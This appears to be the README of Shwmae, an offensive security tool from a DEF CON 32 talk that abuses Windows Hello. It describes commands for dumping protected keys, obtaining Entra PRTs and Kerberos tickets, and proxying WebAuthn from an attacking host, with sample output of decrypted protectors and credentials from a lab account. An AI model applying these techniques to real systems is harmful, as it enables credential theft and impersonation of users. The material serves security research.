Shwmae – Exploiting Windows Hello Security Protocols

Shwmae (shuh-my) is a Windows Hello abuse tool that was released during DEF CON 32 as part of the Abusing Windows Hello Without a Severed Hand talk.

The purpose of the tool is to abuse Windows Hello from a privileged user context.

Shwmae 
Copyright (C) 2024 Shwmae

  enum        (Default Verb) Enumerate Windows Hello protectors, keys and credentials

  sign        Sign data using a Windows Hello protected certificate

  prt         Obtain an Entra PRT and partial TGT usable with Rubeus

  webauthn    Create a webserver to proxy WebAuthn requests from an attacking host

  dump        Dump Windows Hello protected keys when backed by software

  help        Display more information on a specific command.

  version     Display version information.

The tool features several modes of operation.

Enumeration

When no arguments are provided enumeration is the default mode, alternatively you can use the enum command.

Enumeration mode will enumerate all Windows Hello containers available, and recursively enumerate all Windows Hello enrolled keys and protectors within the container.

In instances where no TPM is present on the host, a hash is generated for the PIN protector than can be cracked offline using hashcat.

The biometric protector will be decrypted automatically but the PIN and Recovery protectors can be decrypted using the /pin and /token arguments respectively.

Only a single protector needs to be decrypted from each container to allow abuse of the Windows Hello keys within that container.

Example

Shwmae

[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd

GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)

  Provider              : Microsoft Platform Crypto Provider
  Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW...
  Recovery Key          : Use /token argument to decrypt recovery key

  ** Protectors **

    Type           : Pin
    Pin Type       : Numeric
    Length         : 8
    Decrypted      : Supply /pin argument to attempt decryption

    Type           : Bio
    Encryption Type: Aes
    GCM Nonce      : cacf46896844d3f96a55fd8c
    GCM AuthData   : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c
    GCM Tag        : f5d6d1c3e35f944038e03013851d6d69
    Decrypted      : True (Bio Key Correct)
    ExtPin         : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94
    DecryptPin     : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1
    SignPin        : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3

    Type           : Recovery
    IV             : 49b2c5b8416e5563387e10a8a3d9ae68

  ** Credentials **

    Resource         : WinBio Key Resource
    SID              : S-1-5-21-1003644063-402998240-3342588708-1111
    Protector Key    : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52

  ** Keys **

    Name             : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/mary.gruber@ethicalchaos.dev
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824}
    Key File         : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY
    Azure Tenant Id  : de60a4fa-d583-4eb0-ab66-ce358af8279c
    Azure User       : mary.gruber@ethicalchaos.dev
    Azure kid        : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=

    Name             : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {36E18DBB-52AC-4198-BD34-55B3490A575C}
    Key File         : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY
    FIDO Relay Party : github.com
    FIDO Public Key  : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR
    FIDO Cred Id     : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co
    FIDO User Id     : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA
    FIDO User        : mary-gruber
    FIDO Display Name: mary-gruber
    FIDO Sign Count  : 2

    Name             : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key)
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {7418B315-A00B-4113-A0EC-5C51718D11C5}
    Key File         : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7

    Name             : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {696644C4-EA34-400C-99D2-8B5E38095AA6}
    Key File         : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7

For more information click here.